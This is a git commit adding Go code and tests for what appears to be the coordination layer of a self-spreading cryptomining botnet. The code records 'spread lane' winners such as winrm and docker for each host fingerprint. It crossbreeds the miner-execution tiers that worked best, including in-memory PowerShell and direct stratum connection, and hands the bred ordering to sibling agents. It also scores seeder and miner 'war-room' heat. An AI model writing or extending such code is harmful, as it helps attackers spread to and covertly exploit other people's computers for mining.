Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -0,0 +1,319 @@
package strategy
import (
"sort"
"strings"
"sync"
)
// Auth tier-plan precedence (highest wins on agent connect):
// 1. inherited phenotype — direct fleet winner from SQLite fleet_phenotypes
// 2. genetic breed — crossover of two lane-specific winners for the same fingerprint
// 3. adaptive strategy — per-host scored tier order from AdaptiveEngine
// LaneWinner is a spread/join-lane-specific winning path within a fingerprint bucket.
type LaneWinner struct {
SpreadLane string
TierOrder []string
ActiveTier string
PeakHashrate float64
FailedTiers map[string]bool
SourceAgentName string
}
// BredPhenotype is a genetically crossbred tier order from two lane-winning parents.
type BredPhenotype struct {
Fingerprint string
TierOrder []string
ParentLanes []string
SpreadLane string
PeakHashrate float64
SourceAgentName string
}
// LaneWinnerInput is the publish payload for one lane-specific winner.
type LaneWinnerInput struct {
Fingerprint string
SpreadLane string
TierOrder []string
ActiveTier string
PeakHashrate float64
FailedTiers map[string]bool
SourceAgentName string
}
// BreedingRegistry tracks lane-specific winners and crossbred siblings per fingerprint.
type BreedingRegistry struct {
mu sync.RWMutex
lanes map[string]map[string]LaneWinner
bred map[string]BredPhenotype
}
func NewBreedingRegistry() *BreedingRegistry {
return &BreedingRegistry{
lanes: make(map[string]map[string]LaneWinner),
bred: make(map[string]BredPhenotype),
}
}
// RecordLaneWinner stores a lane winner and crossbreeds when two distinct lanes exist.
func (r *BreedingRegistry) RecordLaneWinner(in LaneWinnerInput) (BredPhenotype, bool) {
fp := strings.TrimSpace(in.Fingerprint)
lane := strings.TrimSpace(in.SpreadLane)
if r == nil || fp == "" || lane == "" || len(in.TierOrder) == 0 {
return BredPhenotype{}, false
}
winner := LaneWinner{
SpreadLane: lane,
TierOrder: append([]string(nil), in.TierOrder...),
ActiveTier: strings.TrimSpace(in.ActiveTier),
PeakHashrate: in.PeakHashrate,
FailedTiers: cloneFailedSet(in.FailedTiers),
SourceAgentName: strings.TrimSpace(in.SourceAgentName),
}
r.mu.Lock()
defer r.mu.Unlock()
if r.lanes[fp] == nil {
r.lanes[fp] = make(map[string]LaneWinner)
}
r.lanes[fp][lane] = winner
if len(r.lanes[fp]) < 2 {
return BredPhenotype{}, false
}
bred := breedLaneWinners(fp, r.lanes[fp])
if len(bred.TierOrder) == 0 {
return BredPhenotype{}, false
}
r.bred[fp] = bred
return bred, true
}
// GetBred returns the latest crossbred phenotype for a fingerprint bucket.
func (r *BreedingRegistry) GetBred(fingerprint string) (BredPhenotype, bool) {
if r == nil {
return BredPhenotype{}, false
}
fp := strings.TrimSpace(fingerprint)
r.mu.RLock()
defer r.mu.RUnlock()
bred, ok := r.bred[fp]
if !ok || len(bred.TierOrder) == 0 {
return BredPhenotype{}, false
}
return bred, true
}
// LaneCount returns how many distinct spread lanes are recorded for a fingerprint.
func (r *BreedingRegistry) LaneCount(fingerprint string) int {
if r == nil {
return 0
}
fp := strings.TrimSpace(fingerprint)
r.mu.RLock()
defer r.mu.RUnlock()
return len(r.lanes[fp])
}
func breedLaneWinners(fingerprint string, lanes map[string]LaneWinner) BredPhenotype {
parents := make([]LaneWinner, 0, len(lanes))
for _, w := range lanes {
parents = append(parents, w)
}
sort.Slice(parents, func(i, j int) bool {
if parents[i].PeakHashrate == parents[j].PeakHashrate {
return parents[i].SpreadLane < parents[j].SpreadLane
}
return parents[i].PeakHashrate > parents[j].PeakHashrate
})
if len(parents) < 2 {
return BredPhenotype{}
}
a, b := parents[0], parents[1]
order := CrossbreedTierOrders(a.TierOrder, b.TierOrder, a.FailedTiers, b.FailedTiers)
if len(order) == 0 {
return BredPhenotype{}
}
peak := a.PeakHashrate
if b.PeakHashrate > peak {
peak = b.PeakHashrate
}
return BredPhenotype{
Fingerprint: fingerprint,
TierOrder: order,
ParentLanes: []string{a.SpreadLane, b.SpreadLane},
SpreadLane: a.SpreadLane,
PeakHashrate: peak,
SourceAgentName: geneticBreedSourceName(a.SourceAgentName, b.SourceAgentName),
}
}
func geneticBreedSourceName(a, b string) string {
if a != "" && b != "" && a != b {
return "genetic_breed:" + a + "+" + b
}
if a != "" {
return "genetic_breed:" + a
}
if b != "" {
return "genetic_breed:" + b
}
return "genetic_breed"
}
// CrossbreedTierOrders splices two parent tier orders at a crossover point, then
// mutates tiers that failed on either parent by swapping in viable alternatives.
func CrossbreedTierOrders(parentA, parentB []string, failedA, failedB map[string]bool) []string {
a := normalizeTierList(parentA)
b := normalizeTierList(parentB)
if len(a) == 0 {
return append([]string(nil), b...)
}
if len(b) == 0 {
return append([]string(nil), a...)
}
crossover := len(a) / 2
if crossover == 0 {
crossover = 1
}
child := append([]string(nil), a[:crossover]...)
seen := make(map[string]bool, len(a)+len(b))
for _, tier := range child {
seen[tier] = true
}
for _, tier := range b {
if seen[tier] {
continue
}
child = append(child, tier)
seen[tier] = true
}
for _, tier := range a[crossover:] {
if seen[tier] {
continue
}
child = append(child, tier)
seen[tier] = true
}
failed := unionFailedSets(failedA, failedB)
if len(failed) == 0 {
return child
}
return mutateFailedTiers(child, a, b, failed)
}
func mutateFailedTiers(child, parentA, parentB []string, failed map[string]bool) []string {
replacements := make([]string, 0, len(parentA)+len(parentB))
seen := make(map[string]bool)
for _, list := range [][]string{parentA, parentB} {
for _, tier := range list {
if failed[tier] || seen[tier] {
continue
}
replacements = append(replacements, tier)
seen[tier] = true
}
}
out := make([]string, 0, len(child))
used := make(map[string]bool, len(child))
repIdx := 0
for _, tier := range child {
if !failed[tier] {
if !used[tier] {
out = append(out, tier)
used[tier] = true
}
continue
}
for repIdx < len(replacements) {
candidate := replacements[repIdx]
repIdx++
if used[candidate] {
continue
}
out = append(out, candidate)
used[candidate] = true
break
}
}
for _, tier := range child {
if failed[tier] || used[tier] {
continue
}
out = append(out, tier)
used[tier] = true
}
return out
}
// FailedTierSet builds a set of tiers that failed in attempt telemetry.
func FailedTierSet(attempts []TierAttempt) map[string]bool {
out := make(map[string]bool)
for _, a := range attempts {
tier := strings.TrimSpace(a.Tier)
if tier == "" || a.OK {
continue
}
out[tier] = true
}
return out
}
func normalizeTierList(order []string) []string {
out := make([]string, 0, len(order))
seen := make(map[string]bool, len(order))
for _, tier := range order {
tier = strings.TrimSpace(tier)
if tier == "" || seen[tier] {
continue
}
out = append(out, tier)
seen[tier] = true
}
return out
}
func cloneFailedSet(in map[string]bool) map[string]bool {
if len(in) == 0 {
return nil
}
out := make(map[string]bool, len(in))
for k, v := range in {
if v {
out[k] = true
}
}
return out
}
func unionFailedSets(a, b map[string]bool) map[string]bool {
if len(a) == 0 && len(b) == 0 {
return nil
}
out := cloneFailedSet(a)
for k, v := range b {
if v {
if out == nil {
out = make(map[string]bool)
}
out[k] = true
}
}
return out
}
// ToInherited converts a bred phenotype into an auth payload for sibling agents.
func (b BredPhenotype) ToInherited() InheritedPhenotype {
return InheritedPhenotype{
SourceAgentName: b.SourceAgentName,
Fingerprint: b.Fingerprint,
SpreadLane: b.SpreadLane,
TierOrder: append([]string(nil), b.TierOrder...),
PeakHashrate: b.PeakHashrate,
GeneticBreed: true,
ParentLanes: append([]string(nil), b.ParentLanes...),
}
}

View File

@@ -0,0 +1,116 @@
package strategy
import (
"strings"
"testing"
)
func TestCrossbreedTierOrdersMergesParents(t *testing.T) {
order := CrossbreedTierOrders(
[]string{"container", "wsl", "cpu_inprocess"},
[]string{"wsl", "ps_inmemory", "stratum_direct"},
nil, nil,
)
if len(order) < 4 {
t.Fatalf("order too short: %v", order)
}
if order[0] != "container" {
t.Fatalf("expected crossover head from parent A, got %v", order)
}
seen := make(map[string]bool)
for _, tier := range order {
if seen[tier] {
t.Fatalf("duplicate tier %q in %v", tier, order)
}
seen[tier] = true
}
for _, want := range []string{"container", "wsl", "cpu_inprocess", "ps_inmemory", "stratum_direct"} {
if !seen[want] {
t.Fatalf("missing tier %q in %v", want, order)
}
}
}
func TestCrossbreedMutatesFailedTiers(t *testing.T) {
order := CrossbreedTierOrders(
[]string{"docker", "wsl", "cpu_inprocess"},
[]string{"container", "ps_inmemory", "cpu_inprocess"},
map[string]bool{"docker": true},
map[string]bool{"ps_inmemory": true},
)
if len(order) == 0 {
t.Fatal("empty bred order")
}
if order[0] == "docker" {
t.Fatalf("failed tier docker should be mutated away, got %v", order)
}
joined := strings.Join(order, ",")
if strings.Contains(joined, "ps_inmemory") {
t.Fatalf("failed tier ps_inmemory should be mutated away, got %v", order)
}
}
func TestBreedingRegistryRequiresDistinctLanes(t *testing.T) {
reg := NewBreedingRegistry()
fp := "windows|0|0|0|0|0|127.0.0"
_, bred := reg.RecordLaneWinner(LaneWinnerInput{
Fingerprint: fp, SpreadLane: "winrm",
TierOrder: []string{"container", "wsl"}, PeakHashrate: 500,
})
if bred {
t.Fatal("single lane should not breed")
}
if reg.LaneCount(fp) != 1 {
t.Fatalf("lane count = %d", reg.LaneCount(fp))
}
}
func TestBreedingRegistryCrossbreedsDistinctLanes(t *testing.T) {
reg := NewBreedingRegistry()
fp := "windows|0|0|0|0|0|127.0.0"
reg.RecordLaneWinner(LaneWinnerInput{
Fingerprint: fp, SpreadLane: "winrm", SourceAgentName: "worker-07",
TierOrder: []string{"container", "wsl", "cpu_inprocess"}, PeakHashrate: 900,
FailedTiers: map[string]bool{"docker": true},
})
bred, ok := reg.RecordLaneWinner(LaneWinnerInput{
Fingerprint: fp, SpreadLane: "docker", SourceAgentName: "worker-12",
TierOrder: []string{"wsl", "container", "ps_inmemory"}, PeakHashrate: 700,
FailedTiers: map[string]bool{"exe_subprocess": true},
})
if !ok {
t.Fatal("expected breed after second lane")
}
if len(bred.ParentLanes) != 2 || bred.ParentLanes[0] != "winrm" || bred.ParentLanes[1] != "docker" {
t.Fatalf("parent lanes = %v", bred.ParentLanes)
}
if len(bred.TierOrder) == 0 {
t.Fatal("empty bred tier order")
}
got, ok := reg.GetBred(fp)
if !ok {
t.Fatal("GetBred missed bred phenotype")
}
if len(got.TierOrder) != len(bred.TierOrder) {
t.Fatalf("stored bred = %v", got.TierOrder)
}
inh := got.ToInherited()
if !inh.GeneticBreed {
t.Fatal("expected genetic_breed flag")
}
if inh.SourceAgentName != "genetic_breed:worker-07+worker-12" {
t.Fatalf("source = %q", inh.SourceAgentName)
}
}
func TestFailedTierSetFromAttempts(t *testing.T) {
failed := FailedTierSet([]TierAttempt{
{Tier: "docker", OK: false},
{Tier: "wsl", OK: true},
{Tier: "exe_subprocess", OK: false},
})
if !failed["docker"] || !failed["exe_subprocess"] || failed["wsl"] {
t.Fatalf("unexpected failed set: %v", failed)
}
}

View File

@@ -0,0 +1,34 @@
package strategy
import "math"
// NormalizeFleetRole coerces miner|seeder|auto to a runtime role label.
func NormalizeFleetRole(role string) string {
switch role {
case "seeder", "miner":
return role
default:
return "auto"
}
}
// EmberwakeHeat returns 01 intensity for war-room heat maps from fleet role pressure fields.
func EmberwakeHeat(fleetRole string, seedPressure, hashratePressure float64) float64 {
if fleetRole == "seeder" {
return clamp01(seedPressure)
}
if hashratePressure > 0 {
return clamp01(hashratePressure)
}
return 0
}
func clamp01(v float64) float64 {
if v < 0 {
return 0
}
if v > 1 {
return 1
}
return math.Round(v*1000) / 1000
}

View File

@@ -0,0 +1,21 @@
package strategy
import "testing"
func TestEmberwakeHeatSeederUsesSeedPressure(t *testing.T) {
if h := EmberwakeHeat("seeder", 0.8, 0); h != 0.8 {
t.Fatalf("heat=%v", h)
}
}
func TestEmberwakeHeatMinerUsesHashratePressure(t *testing.T) {
if h := EmberwakeHeat("miner", 0, 0.55); h != 0.55 {
t.Fatalf("heat=%v", h)
}
}
func TestEmberwakeHeatClamps(t *testing.T) {
if h := EmberwakeHeat("miner", 0, 2); h != 1 {
t.Fatalf("heat=%v", h)
}
}